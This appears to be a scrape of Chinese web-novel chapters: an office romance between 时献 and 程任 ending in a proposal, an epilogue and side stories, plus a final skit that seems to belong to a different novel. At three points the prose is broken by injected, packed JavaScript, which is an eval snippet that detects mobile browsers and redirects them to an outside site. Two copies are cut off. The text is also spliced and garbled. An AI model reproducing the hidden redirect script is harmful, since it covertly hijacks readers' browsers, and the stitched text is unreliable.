临近第三季度结束,东峻的财务部又忙到昏天黑地,但时献今年调来B组了,内审的工作今年维护的不错,因此并没有季度紧迫感,反观A组因为主要负责出报表,所以整组都在做数据核对和汇总,李晴枫每次在茶水间碰到时献的时候都顶着黑眼圈羡慕的不要不要的,直言想跟着时献一起去B组。 时献笑着问她跟着钟问素不好吗,还是想来B组享受随时出差的待遇,不分节假日的那种,时献今年的法定节假日就崩了三个,全在路上。 李晴枫想了想叶桥星那不按常理出牌的作风,忍不住打了了冷颤,钟问素虽然为人严厉,但做事还是很有规矩章法的,在她手下只要安分就好做事,叶桥星就不一样了,她可是从B组同仁那里听了不少平日里的大小事迹,她这点脑细胞可耗不起。 算了,打扰了,李晴枫冲时献一作揖,端着咖啡转身回自己工位去了。 时献笑着摇头,实在是拿她没办法。 转眼中秋要到,东峻的福利还是好的,提前就一人发了一盒高档月饼,又给了不低额度的消费卡,连锁超市和大型商场都能刷的那种,还可以及时变现,深受广大社畜喜爱。 时献将卡收到包里,刚落座就被叶桥星叫去办公室。 “你找我?” 叶桥星将桌上的礼品盒推了过去,“这个给你。” 时献打开一看,齐刷刷的一排消费卡在里面,十分壕气。时献连忙拒绝,“这个我不能要,额度太高了,况且公司给我发了卡的。” 叶桥星没给她拒绝的机会,硬让她收下,“你跟着我这大半年除了上次休了个小长假,后来的节假日没一次有着落,平时加班的次数也不少,你做事靠得住,我心里有数。” “再说了,我这就是借花献佛,出钱的可是庄亦,我又没什么损失。” 时献还要拒绝,叶桥星有些受不了地说:“哎呀你这人就是磨叽,让你收你就收着。”然后手指着她的衣服,一脸嫌弃,“你说你啊,你也去多买几身衣服吧,我一皮糙肉厚的大男人衣服花样都比你多,天天翻来覆去就那几套来回穿,你不是恋爱了吗?怎么这么不爱捯饬自己。” 时献满心的感动顿时化为齑粉,嘴里的话吞了回去,递出去的盒子就这样十分爽快的收了回来,收的十分理所当然。 “我亲爱的叶经理,我一个星期也是不重样的。” 叶桥星一脸诡异地看着她,吐槽道:“一个星期不重样给你骄傲到了?我能一个月不重样你知道吗?我要是个姑娘我衣橱里得够换半年的。” 时献眨巴眨巴眼睛,突然被堵到失语,叹了口气努力让自己恢复理智,发出藏了很久的疑问:“杨助理多正经的一个人啊,你这么骚气他可怎么受得了?” 叶桥星一听这话就乐不可支了,翘起二郎腿,一手放在桌上拨弄手机,笑得一脸得意,“这你就不懂了吧,他在你们面前和在我面前那能一样吗?他就是喜欢我这样的。” “而且啊,我们这是夫妻之间的小情趣……” 时献伸出手掌对着叶桥星做出阻止的动作,“好了好了,我不想听你们关上门的那些事,你留着自己慢慢回味。” 说完就抱紧小盒子出了办公室。 到了中秋这天时献难得没有加班,照常早起后去菜市场买了菜回来打算自己下厨,经过程任门前的时候按了按门铃,没想到没人应。 难道不在家?可能去公司了?时献有些失落地关上门,微信发了出去,问他晚上要不要一起吃饭。 【有点事去公司了,晚上会早点回来,在家等我,乖。】 时献看了回信勾了勾嘴角,随后开始准备菜单。 手机又振动了一下。 【去我那边做饭吧,厨房比较大,材料都是刚买的比较齐全,餐厅也宽敞,钥匙上次过来放你桌上了。】 时献走到书桌边,果然在桌角看到一串钥匙,也好,她平时工作太忙不是很经常在家做饭,设备和配料确实没程任那里齐全,而且她们这套厨房有些窄了,不好放开了动作。 时献提起袋子拿着钥匙去了楼下,这还是她第一次在程任不在家的时候过来,突然有点害羞的感觉不知道怎么回事。 时献在玄关处放下钥匙,又将买来的菜一并放入厨房,穿着程任的拖鞋在他家里来回逛了几圈,颇有种反客为主的感觉。 像什么?女主人吗? 时献轻声笑自己,伸手在自己脸上捏了捏,真不害臊啊。 程任家里收拾的很干净,她也没有什么可以帮忙的地方。时献看了下时间,还早,要不先把汤提前炖上,时间这么充裕下午可以先午睡一小会,然后再开始备菜,这样等程任回来了就会发现自己家里多了个田螺姑娘。 说做就做,时献熟门熟路地拿出炖锅,开始洗排骨,焯水,切料,下锅,小火慢炖。 做完又简单给自己煮了碗面权当午餐,时献吃完就抱着电脑在沙发上看起了课件,可能是程任家的沙发太舒服,又或者是吃饱了本身就容易犯困,总之时献不知道看到第几节的时候眼皮就开始打架,靠着抱枕慢慢就倒在沙发上睡了过去。 手机被丢在厨房,振动个不停,时献彻底忘了它的存在。 迷糊中感觉有人在叫自己,时献揉了揉眼睛,慢慢找回了意识,等清醒过来的时候发现张玉淑站在自己面前,“妈?”再往上看,时中伟站在身后,旁边是程任,正含着笑意看着自己。 时献瞬间就清醒了,连忙爬起,“你们怎么来了?也不跟我说一声,我,我好去接你们啊。” 张玉淑拍了拍她的手背,没好气的说:“接什么啊,程任早就在车站等着了,等你接?等你睡饱了再来接我们啊。” 时献突然反应过来自己还睡在程任家,尴尬地理了理凌乱的头发,“我刚刚在炖汤,一不小心睡着了。” 程任笑着宠溺地说:“一进门就闻到了,这会儿应该都炖好了。” 时献有些后知后觉的不自在,没敢直接对上程任的目光,起身穿上拖鞋,哒哒哒地跑去厨房,“我,我去给你们倒点水。”说完就熟门熟路地从橱柜里取出玻璃杯,又从客厅的储物柜里拿出茶叶开始冲泡,一套动作十分流畅且自然,显然是对这里十分熟悉了。 张玉淑和时中伟看在眼里,时中伟回头,深深地看了眼程任,程任也不惧,坦荡地冲他笑了笑,“叔叔阿姨先喝口茶,今天外面还是有点热的。” 张玉淑抿着嘴角一副要笑不笑的样子,轻咳了一声应了下来,喝了口水就转身去了厨房帮忙。时中伟就没那么自在了,面上看着情绪还好,但心里总有那么点别扭,以前看程任总觉得这孩子哪儿哪儿都好,今天怎么老想挑点毛病出来。 比如他怎么让时献自己做饭,平时也是时献一个人做吗?比如他也不去帮忙倒水,时献给烫着了怎么办? 时中伟挠了挠头,怀疑自己是不是有点矫情了? 时中伟又看了看时献来回忙活俨然一副小媳妇儿的模样,很快就否定了自己这个想法,程任下午来接他的体贴暂时抛诸脑后,他决定等下找个机会和程任好好聊聊。 必须得好好聊聊了。 但时献显然没有感受到时中伟的心思,为了避免尴尬她一直来回忙碌,是以好几次时中伟想将程任拉到一边开口问话的时候都被时献打断,尴尬地假装咳嗽了好几声。 “爸,你感冒了吗?嗓子怎么不舒服?”时献端着茶壶走过来问道。 时中伟眨了眨眼,“啊没事,我,天气太干燥了,有点上火,没事没事。” 时献又将他的茶杯添满水,“那你多喝点。” 程任将时中伟的情绪纳入眼底,思量了一下,对时献说:“阿姨说今天中午要做崇安牛肉羹,我在小区对面的店里定了牛肉,今天刚到的,你去取一下吧。” 时献皱了皱眉,不是很赞成,“不用了吧,我炖汤了,做那么多喝不完的。” 程任平时向来事事依她,今天却一反常态地坚持,“没事,是我想尝阿姨的手艺了,太久没喝过她做的牛肉羹,有点惦记。” 时献一瞥时中伟的表情,见他眼角好像微微抽搐了一下,程任刚刚字里行间语气都比平时软了一点,像若有若无地在撒娇。俩人平时私下里程任没少这样软声细语地哄她,但到底是私下里,这会儿对着时中伟,时献有些不好意思,怕程任还来这招,连忙应下快步出了门。 程任眼中含笑,见她如受了惊的小兔子般撺出了门,这才收回了眼神。 时中伟面色郑重地看着他,全然开启了一副岳父审视女婿的模式,还没等他开口,程任先沉声问了出来:“叔叔,关于献献,我想单独和您聊聊。” 程任脸上有了几分比方才更为郑重的神色,看得时中伟一愣,打算刁难一番的心思突然就被压下去了,认真回道:“有什么事,你说吧。” 程任略一颔首,缓缓开口:“我想问问您,献献当年为什么没有考去京都?以她高考的分数就算上不了京大,京都的好几所一本也都可以去。” 时中伟没想到他要问的是这个,心上一颤,陈年往事再度被翻出来,他的负疚感依旧充斥胸膛,未减弱半分,且随着时间流逝仍有增长的趋势。 眸中暗沉了几分,眼神慢慢有些飘远,似沉浸到往事当中去了,语气有些颓然道:“当年,就是献献高二那年,我们匆忙回了春陵,那时候你张姨刚被诊断出尿毒症,我们手上的钱基本都给了上门讨债的人,就没剩多少了。” “那时候我家庭事业双重受打击,有点承受不了,颓废了好一阵子,你张姨医院那边的费用又不低,加上药费日常开销,那点存款用的很快,她见家里情况吃紧,平时上课,周末就去打工,去餐馆、发传单、做推销,总之什么都做。” 程任睫毛颤了颤,眼中似有不忍,他的喉结上下滚动,像努力在压抑自己的情绪。 时中伟声音渐渐有些暗哑,“春陵的教育水平和崇安肯定没办法比的,你也知道,献献原本在一中的成绩到了春陵入学的时候拿的是全校第一的名次,但是高二高三学业慢慢吃紧,她周末没法像别人一样补课或者复习,只能白天上课晚上回来熬夜复习,再加上打工太辛苦,到了高三她就慢慢跌出全校前十了。” “春陵一中虽然是县重点,但每年能上重点线的就那么几个,京大是什么学校,每年能出一两个就不错了,第一次模拟考分数只够普通一本院校,心态一下就崩了。” “那阵子玩儿了命的复习,经常通宵,熬得整个人不成样子。我和她妈妈的状态又不好,尤其是你张姨,前些年根本接受不了自己生病这件事,身体也虚弱,比普通透析病人遭的罪要多,动过好几次轻生的念头,都是献献夜里守着、抱着哄回来的,一次一次,哄回来。” 张玉淑在厨房备菜,背对着客厅,动作慢了下来,头渐渐垂下去,肩膀颤抖地不成样子。 厨房传来压抑的抽泣声。 程任的眼眶渐渐红了,放在膝上交叠的双手握的青筋暴起。 他沙哑着嗓音问道:“心肌炎是那时候得的吗?” 时中伟垂下眼眸,闭眼点头。程任深吸了一口气,缓了半晌,颤抖着问:“所以她以为自己考不上就放弃了?” 时中伟摇了摇头,“不是,她草草在医院住了几天就出院了,只是考前没再打工,她说……”时中伟顿了顿,看向程任,“她说哪怕考不上京大的中文系,至少也要去京大旁边的京都中文大学,好歹挨在一起,也可以学中文。” 程任心头犹遭钝击般疼痛,他深深呼吸了一下,突然不敢听下去。 “你知道京都中文大学的分数也不低,超重本线不少,后来高考分数出来了,她没过最低投档线,差了5分。” “再去哪里就不是那么在乎了,我们那时候,其实对她的分数很满意了,就算去不了想去的,也能上个不错的一本院校,填志愿那天她去了趟学校直接报了启大的商科,我问她为什么要读商科,她说……” “她说出来好就业,不读研也可以找到不错的工作。” 张玉淑双手掩面,弯腰蹲了下去,无法抑制地哭了出来。 时中伟叹了口气走进厨房扶住她的肩膀将她整个人往怀里带,暗哑着嗓子宽慰道:“没事了,都过去了。” 真的过得去吗? 程任眼中起了雾气,突然有些头疼,他伸手扶住额头努力消化刚才听来的信息,心中生出的悔意翻江倒海般袭来,他突然想起和时献五年前最后一次见面的场景。 那天时献崩溃的模样在分离的五年时光里变得越来越清晰,而他没接到的那通时献向他呼出的求助电话在无数个夜晚都成了他挥之不去的痛,辗转反侧,无法释怀。 他还想起时献从小的擅长和喜好,她充满骄傲和自信地告诉自己将来要学什么专业,要成为什么样的人。 而她原本是可以做到这一切的。 如今,全都错乱了。 …………………… 晚饭在一种奇怪的氛围中结束了,时献带着张玉淑和时中伟回自己住处安顿。利雯回家了,她自己房间里只有一床薄被且是单人用的,招呼好张玉淑和时中伟梳洗后自己下楼去问程任有没有多余的被子。 程任给她开了门,依旧温柔地冲她笑了笑,但眼中并没有笑意,时献从里面看出心疼。 她也没问,直接说了来意。程任从衣柜里取出夏被放在床边,时献弯腰打算拿起。 手腕突然被拽住,冷不防跌入一个温暖的怀抱,随后被紧紧抱紧,程任的力气太大,像要将她揉进身体里去。 “怎么了?晚上就觉得你情绪不太对,我爸妈他们也怪怪的。”时献抬起头问他:“你们背着我都说了什么悄悄话啊?” 程任低头在她额头上蹭了蹭,犹如受伤的小动物在寻求安慰,闷声问:“怪我吗?” 时献对这没头没脑的问题一头雾水,“怪你什么?”时献突然笑了一声,“怪你不告诉我接我爸妈过来,下午让我出糗吗?” 程任亲了亲她的额头,“怪我那年没接你的电话吗?怪我丢下你吗?” 时献突然愣住,反应过来自己不在的时候他们肯定聊了些什么,笑笑说:“怪你做什么,当年的事谁也想不到,再说你又不是故意的。” 时献伸出双手在他胸口轻轻拍了拍,像只小兔子窝在他怀里,扬起脸轻快地说:“再说了,现在你不是在我身边吗?过去的事还有什么好纠结的,守着身边的人好好珍惜就是了。” 说完双手攀上他的肩,借力抬头凑到他面前轻轻在唇上落下一个吻,蜻蜓点水一般。 “好了。”她又退了回来,一双眼笑得盈盈如月,“以后不要问我这么傻的问题,好好宝贝我就行了。” 程任原本揪着疼的胸口突然得到了巨大的安抚,时献的声音清透悦耳,轻声细语地哄着自己,微微上扬的尾音在心头一扫,就卷走了这些年沉淀下来的阴影,阳光透了进来。 “好,以后只宝贝你。” 时献的嘴角还没来得及绽放笑容就被程任一把扣住,贴上她的唇,但这次的亲吻似乎和平时有些不一样。 程任细细描绘着她的唇线,惹得时献一阵颤栗,忍不住想往后退。 程任却不许她后退,用手托住她的后脑,加深了这个吻。 空气渐渐变得稀薄,程任还舍不得放开,时献推了推他的胸膛,轻声嘤咛示意停下来。 俩人渐渐分开,彼此呼吸都很急促,时献觉得心脏几乎要从胸口跳出来了,浑身酥软地半挂在程任身上。 程任抱着她,在红透了的耳边亲了亲,重申了一遍:“永远宝贝你,永远爱你。” 新生 中秋那晚之后,时献总觉得有什么慢慢变了,她也说不上来,就是过往在心头积攒的阴郁一点点消失殆尽,寻不到一点踪迹,像没有存在过一样。 有种重获新生的感觉。 但她还是有点生气,不为什么,就是那天晚上程任亲的太久太热烈,以至于她的嘴唇实在是……就挺一言难尽的,嘴角后来还被咬破了。 张玉淑和时中伟平时起的就早,第二天时献特地定了闹钟起了个大早想提前溜去公司,没想到还是被从外面买早点回来的俩人撞了个正着,俩人十分默契地相互对视了一眼,看见了也只当没看见,就是演技不太自然,臊的时献在房间戴好口罩才出了门,不过他们也只住了一晚就回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李晴枫靠了过来,小声道:“你说这庄总也是奇怪啊,东峻是他爸的,他爸就他这么一个儿子,又没人跟他分家产,迟早也要交到他手上去,怎么突然就这么着急呢?” 时献脑中转了一圈,东峻说到底还是家族企业兴起的,这些年在庄亦手上做了很多改革,极大程度上削弱了家族成分,也正是因为这样东峻才能一改之前的弊端发展的越来越好,没有在众多新兴企业中渐渐式微。 如今提前收回掌控权,除非是他迫不及待地想要脱离家族力量的掣肘,甚至是急于摆脱老爷子的掌控,东峻的人脉和力量在启东不可小觑,他如果能完全接手,那么也就代表了…… 时献脑中似乎想到了什么,难道……? 时献回来的第二周庄亦就给人事下了指令,时献的岗位级别上调2个等级,薪资上涨20%,奖金系数增加。其实涨薪先不谈,难得的是等级上调,她现在基本算是B组副经理,只比叶桥星低一级,也就是说,如果叶桥星升职,不出意外她将直接升任B组负责人。 这上升速度倒是少有,一时惹人眼红,但时献无心去想这些,做决定的是庄亦,给推荐的是叶桥星,领导层给了肯定她自然不会过分谦虚推让,担多大的信任和期待就回应多大的努力就是了,多余的声音不是她该操心的问题,工作本身才是。 “这么说,你现在是一年半之内连升了两次?”程任斜靠在沙发上抱着她问。 时献扬了扬眼角,有些得意地回道:“对啊,工资也加了不少呢,所以不要小瞧我哦,没准哪天我就赚的比你多了,别看你现在是老板,这年头行情不好,你们当老板的,不好说的,资产都是公司的。” 其实都是玩笑话,程任这些年公司运营良好,盈利也持稳,他不急于扩张,只注重品牌经营和稳扎稳打,一路走的十分稳当。至于账上资产,时献没兴趣问,但用脚指头想都知道一年的分红比她八辈子挣得都多。 程任乐得配合,十分认同的点点头,“说的对,以后可能要辛苦夫人努力工作养我了。”演技十分诚恳自然,十分寡廉鲜耻。 时献转过身嗔怒道:“谁是你夫人?” “谁问我谁是。” 时献被他无赖的样子气到,抬起一只手假装要打他,被程任一把抓住,手掌一退,捏住了她的手指放在唇上吻了一下。指心的触觉是很敏感的,程任眼中一片深情,看得时献有些意乱情迷。 “做,做什么。” 程任轻笑了一下,好看让人挪不开眼。他的嗓音醇厚低沉,听得人犹如醉酒一般失去抵抗力,眼中却比任何时候都坚定,一声声撩拨着时献的心头,蛊惑般说:“嫁给我,好不好?” 时献脑中没了反应能力,好像大脑处理不了这句话包含的信息,半天没有回应,程任就这么盯着她看,目不转睛,也不催促。 时献突然发现他这个人自从和自己在一起之后就好像很喜欢问“好不好”这句话,表白的时候问她“在一起好不好。”,答应之后想亲她偶尔也会故意问她“好不好。”,上次差点擦枪走火的时候也问她“下次好不好。” 现在就连求婚也是这么没有新意的一句“好不好”就打发了,特别不正式,特别敷衍,时献突然就不乐意了。 嘟着嘴没好气地说:“戒指都没有就想让我答应,这么没诚意,想都别想。” 程任听完变魔术一般从身后的沙发里掏出一个丝绒盒,缓缓打开盒盖,里面的戒指就这样漂亮的呈现在时献面前。 时献愣住了,她没想到自己只是随口撒娇的一句话就这样兑现了,那现在这样该怎么办?她,她要答应吗?她还没准备好呢! 还没消化完信息,程任就抓着她的手指自顾自地套上去了,跟提前量好了似的,不大不小,刚好合适。 时献这就不肯了,她还没说话呢,这根本就是耍赖!皱着眉正打算好好理论一番就感觉到一阵天翻地覆。 程任一手搂着她的腰一手托住她的脑后,转了个身将她压在了沙发上,想说的话全数被突如其来的吻压了回去。 “唔……”时献忍不住哼叫了一声。 时献自己不知道,她在亲密行为中和平时不太一样,软糯地像只小猫,声音也变得软绵绵的没什么力气,若有若无的抵抗在程任面前不是拒绝反而成了无意的撩拨和邀请。 程任不发一言,只是抱着她温柔地亲吻,虔诚的、热烈的。 “怎么就是学不会换气……”他低声笑着在时献耳边呢喃,时献气得想去捂住他的嘴,奈何手上根本没力气,只能无力地搭在他的肩背上。 时献满心都被害羞和未知的恐慌充斥着,略显不安地毫无章法地回应着程任的吻。 程任勾起嘴角笑了一下,一边亲一边抚她的背。 室外大雪纷飞,天地洁白一片,路上有行人路过,全然不知屋内的景象。 尾声 晚上十点,东峻总部的财务部灯火通明。 叶桥星推门而入,解了一颗西装扣往沙发上一靠,扯松了束缚的领带,气得眉眼皱成一团:“老子不干了!” 时献站在他对面,略感无奈,想了想还是当起了和事佬,“你也替他想想吧,这些年跟个劳模一样拼命工作,哪里想过自己的事情,你平时下了班回去搂着杨助理过小日子的时候他可还在到处出差呢。” 叶桥星没好气地回:"但是他这也太不像话了吧!你说这坐镇的大老板刚稳定局势就把这一大摊事丢下来,我要忙到过劳死了!连带着小帆都忙到脚不沾地,等他回来,他老婆是追到了,我们全都得感情破裂。" 时献哑口,事实确实如此,她也劝无可劝。 庄亦最近的行事超出所有人预测,东峻内部刚刚经历一场改组,老爷子大权旁落,如今的东峻牢牢控在庄亦手上。改组完成后各重要职位全数换上庄亦的人,从容不迫,一个不少,显然是早就计划好的。 占股不低的庄亦的一众亲戚陡然失了势,纷纷闹了起来,他也不顾这些,由着他们闹,最后去了庄老爷子跟前吵了半宿,最后被几句话给打发了。 年逾60的庄老爷子明明身体康健,眉宇间却是无法遮掩的颓然和疲态,认命般地说:"他能蛰伏十年夺势是他的本事,只要他守得住东峻的基业,只要东峻还姓庄,我就不会轻易干涉。" 久经商场鹰隼一般的眼扫过众人,比刀割有过之而无不及。 "这么些年你们明里暗里掏着东峻的家底我也不是不知道,说到底都是一家人,有些事我也懒得管,但万事总得差不多就行了。" "东峻这些年在庄亦手上做的如何你们心里有数,拿到手的分红是骗不了人的,我老了,东峻在我手上走不远,我不行,你们也不行,但庄亦行,他撑得起这份基业!凭着这点,你们也得让步。" 偌大的客厅安静的掉根针都能听得见,半晌,命人送客,再无人争辩。 叶桥星突然从沙发上坐起来,充满希翼地问道:“对了,庄亦都去西班牙半个多月了吧,怎么样啊到底,进展怎么样?追到手没?” 时献抿了抿嘴,想到昨天丛珮发微信过来说,这次要好好让庄亦知道自己这些年是怎么过的。 忍不住为庄亦捏了把汗,这个世界上,只有小人和女人是不好得罪的,而被男人伤过的女人是更不好得罪的。 叶桥星见她这幅听天由命的表情就更绝望了,哀嚎道:“那他一天追不到人我岂不是就得继续这样的生活?” 说罢往沙发上一瘫,彻底放弃了形象管理,“同住一间房忙到早不见晚不见,小帆非跟我离婚不可。” 时献无辜地眨眨眼,放下需要他签字的材料准备出去。 “哎,对了,你家程任不嫌你忙啊?你们刚订婚你就几乎睡在公司了,不跟你闹脾气啊?”叶桥星投来想要寻求同类的目光以企图获得安慰。 时献突然起了点坏心思,划开手机笑着指了指自己的和程任的对话框,热腾腾的信息就这样摆到叶桥星面前。 “叶总,忘了跟你说,我今天的事做完了,现在要下班了,因为有人来接我。” 说完就帅气的转身,拉门,迅速消失。 身后传来一声怒吼:“时献你大爷你就不是人!” 时献出了大楼,迎面吹来一阵略带暖意的风,入了五月温度开始上升了,是夏天开始的提醒。此时时间不算早,街面上来往的人并不多,比白天更添了几分静谧。时献看了看周围又抬头看了看上空,工作一天的劳累抛诸脑后,眼见周遭霓虹,抬头又见群星遍布,而她心心念念的爱人就站在这片夜空下,染着斑斓的灯光等着她,不得不承认这样的夜晚令人有些着迷。 不远处东峻的大楼下停着一辆熟悉的车,车身前站着她最熟悉的身影,时献笑着走过去,一步一步,走的缓慢而轻快。 “累不累?”程任伸手将人拉到身前,柔声问道。 “不累。”时献仰头回答,嘴角噙着笑意,看过来的双眸里亮晶晶的闪着暖意。 程任被她的好心情影响到,忍不住问:“今天这么开心?” “阿任,夏天来啦。”她尾音上扬,这样回道。 程任愣了一下,随即展颜,“嗯,我们回家。” 【正文完】 6. 她离开的第四年[番外] 2014年6月2日,圆圆今天第一天上班,在一家24小时便利店,地点在崇安很出名的别墅区“江南里”对面。 因为是新人,业务不熟练,所以被安排来晚班,客流比较少,不容易出错。虽然要熬夜但圆圆并没有一点不开心,相反,晚上人少,她也不用担心自己顾不过来,还可以偷偷看会儿书。 晚上十点,和她交班的姐姐简单说了几件事就走了,圆圆翻开本子,默默记了下值班要点。 正熟悉着收费系统,感应门突然开了,“欢迎光临。”她立刻抬头露出提前准备好的笑容。 来的人是一个长相十分出众的青年,看上去二十几岁,高高的个子,身量挺拔又精神,虽然只是简单穿了件普通的T恤配牛仔裤,但依然看上去很有型。 对方微微颔首回了个浅浅的笑,看上去温柔又绅士,随后十分有目的性地进了第三排货架去找东西。 他进的是甜品区?圆圆有些诧异,一般男生来都是买烟买酒比较多,这个男生看着高大帅气怎么像女孩子一样喜欢吃甜食? 又想了下,大概明白了,也许给女朋友买的呢,长得这么好看肯定不是单身,圆圆感叹了一下,他女朋友可真幸福。 对方在甜品区来回找了一圈,最后又绕着货架前后都找了一遍。 便利店里的东西一般都是固定放的,且分类清楚,一般很容易找到,圆圆探了探身子问道:“请问你找什么?要帮忙吗?” 男生快步走到收银台前,好看的剑眉蹙起,有些着急地问:“你好,请问理想园的彩虹糖呢?今天卖完了吗?没到货吗?” 圆圆想了想,露出恍然大悟的表情,“哦我想起来了,你说的是他们家的七色水果糖吧,他们家今年效益不好,停产了,据说后面会推出新的产品,你要不再等等吧。” 对方似乎十分惊诧,沉声靠近,再一次问她:“停产?意思是不会再有了吗?” 圆圆不知道他为什么反应这么大,被问的有点发怵,“是这样的,老板说供应商那边已经断货了,应该是不会再有了,我们这里也没库存,都清空了。” “要不你再看看别的?还有其他牌子的糖果也很好吃的,要不我给你推荐一下吧……” “不用了,谢谢。”他眼中渐渐黯淡了下来,慢慢转身出了便利店。 圆圆抬起手想叫住他,想告诉他理想园准备新出的糖果据说比之前的彩虹糖更好吃,要不留个联系方式等到货了通知他一声,可一想到刚才他的眼神就又顿住了。 那双好看的眸子里原本进门的时候还亮着一点光,就在刚刚听到停产的一瞬间就渐渐熄灭了。 他应该不会想要其他的水果糖了,圆圆十分确定地这样想。 记婚后生活的某一年 时献看了眼手表,她和丛珮约了下午见面,可惜因为出门的时候被程任缠了会儿一不小心就耽误了时间,她快步穿过走廊进了约定好的包间。 丛珮正百无聊赖地趴在桌子上,一张精致的脸上粉黛未施,看到时献进门眼中亮了亮,怎么说呢,有种太久没出门终于碰到熟人的喜悦感。 “你终于来啦,怎么迟到这么久啊!你再不来庄亦给我的自由活动时间就要结束了。”丛珮嘟了嘟嘴,有些撒娇的憨态,十分可爱。 “不好意思啊,有点事耽误了会儿,抱歉抱歉,一会儿我请客赔罪。”说完伸手摸了摸丛珮微微隆起的小腹,开心地问:“小宝宝今天怎么样啊?看着都能显怀了,长得可好了吧。” 丛珮立刻正了正身子,指了指自己的肚子,有点兴奋地说:“四个月了呢,昨天去做产检,医生说宝宝长得很标准很健康。” “真的啊,那太好了,庄总可高兴了吧,难怪最近在公司都不怎么折腾我们了。”服务员进门递上菜单,时献接下直接熟门熟路地开始点菜,避开了丛珮不能吃的东西。 丛珮往后一靠,时献这才注意到她看上去有些变化,可能是几个月居家不出门,整个人又白净了一圈,脸上也比怀孕前稍微圆润了一点,整个人看起来多了几分甜美的气息。 “我跟你说庄亦他太过分了,自从我怀孕他就不许我这不许我那,化妆也不许,出门也不许,我都关在家里三个月了啊!三个月啊!” 时献被她夸张的表情戳中笑点,“你也理解理解庄总嘛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353440|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他好不容易和你在一起,这又是你们结婚后的第一个孩子,他肯定很紧张的,而且老人都说第一胎要格外小心,前三个月尤其不稳定,他这样也是为了安全起见。” “那是,他可是老来得子。”说完又不满地抿了抿嘴,埋怨时献:“你就知道替他说话。” “那当然啦,他可是我老板,发我工资的,说他坏话我可想不想干下去了。”时献摸了摸她的杯子,里面已经凉了,重新倒了一杯温水递过去。 丛珮见她这么贴心忍不住问:“你说你一个没生过孩子的人怎么懂得比我还多,我家里那些你寄过来的怀孕必备我都还没看完,平时注意的孕期细节知道的也我还清楚。我看你也挺喜欢小孩的,怎么和程任不自己要一个呢?” 时献歪了歪头,有些无奈道:“他说不着急,我也不知道。” 丛珮突然眯着眼想了想,说:“不会是舍不得你们二人世界吧?”时献愣了一下,撑在桌上的手臂往前挪了挪,原本有些松的衣领松开了一节,露出了锁骨处的吻痕。 丛珮指了指时献的颈部,坏笑道,“你让程任也收敛收敛吧,三十多岁的人了怎么精力还这么好,你看看给你折腾的,啧啧啧,难怪不急着要孩子,真是没眼看……。” 时献瞬间红了脸,整理好衣领,没好气地让她闭嘴。 俩人东拉西扯聊了会儿天,一个小时后,司机打来电话催促,说庄总交代该回去了。丛珮沉脸郁闷了好一阵直呼孕妇没有人权和自由,临走前再三叮嘱时献不要太早怀宝宝,省得步她后尘。 丛珮刚走,程任的电话就进来了。 “还在忘业和丛珮吃饭?” 时献提起包出了门,“刚结束,要回来了。” “我去接你吧。” 时献笑着拒绝,“不用了,又不远,打车就好了,来回多费时间啊。” 对方似乎有点不高兴,闷声道:“我都到楼下了。” 嗯?时献一愣,看到不远处停车位上停着自家的车,突然有些庆幸丛珮先走了。 “嗯,我看见你了,你坐在车里等我一下就好。” “我这就过来了。” 7. 第 7 章[番外] 小剧场 放学后的空教室,夕阳透过窗户洒进来,姜晚正烦躁地翻着满是红叉的试卷。 姜晚(内心OS):这破剧情,非得让我来补差班丢人……沈疏临这会儿应该被学生会那群人围着请教问题吧? 教室门突然被推开,姜晚抬头,瞳孔地震——沈疏临拎着书包,面无表情地坐到了他旁边。 姜晚(脱口而出):“……你走错教室了吧?这是年级倒数的补差班!” 沈疏临(慢悠悠掏出同样惨烈的试卷):“嗯,这次没考好。” 姜晚(盯着对方试卷上故意填错的选择题,嘴角抽搐):“你管这叫‘没考好’?最后一题你明明在奥赛班讲过解法!” 沈疏临(忽然凑近,声音压低):“那你当时怎么不认真听?” 姜晚(耳尖一红,猛地后仰):“关、关你什么事!我乐意考零分!” 沈疏临轻笑,从包里推出一本笔记,封面工整写着《针对姜晚同学的骂人词汇补充及知识点解析》。 沈疏临:“上次你骂我‘装模作样’用了三分钟,但语法错误有五处。需要我教你更高效的嘲讽方式吗?” 姜晚(炸毛):“……沈疏临!你是不是有病?!” 对方忽然伸手扣住他的手腕,镜片后的目光晦暗不明。 沈疏临:“嗯,病历本上写的是‘姜晚过敏症’——靠近发作,远离加重。” 姜晚(僵住):“???” 窗外传来原书女主的呼唤:“疏临,能帮我讲解题目吗?”沈疏临头也不回,反手关上窗户,把姜晚困在课桌间。 沈疏临(摘下眼镜,语气危险):“剧本里没写这段?那现在开始,即兴演出。” 姜晚(CPU烧干):“……这届男主怎么回事啊!!!” 【系统提示:您的摆烂任务已被攻略对象强制升级为恋爱副本】 ——幕落—— 后排同学A:“他俩是在补课还是在演偶像剧?” 同学B:“嘘,学霸的爱情你不懂,这叫《五年高考三年恋爱》。” 小剧场 学校天台,风很大,姜晚正鬼鬼祟祟往沈疏临的作业本上画乌龟,突然手腕被一把扣住。 姜晚(吓得一抖):“……你不是在图书馆吗?!” 沈疏临(平静地抽走作业本):“画得不错,但龟壳纹路不符合生物课本第87页的示意图,需要我教你吗?” 姜晚(恼羞成怒):“谁要你教!我这是在羞辱你懂不懂?!” 沈疏临(点头):“嗯,很有创意。不过——”(忽然逼近),“按照校规,损坏他人财物要写检讨,并接受对方监督。” 姜晚(警觉后退):“……你想干嘛?” 沈疏临(从书包里掏出一叠纸):“这是未来三个月的监督表,每天放学后跟我去图书馆,直到你‘悔过自新’。” 姜晚(瞪大眼睛) ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 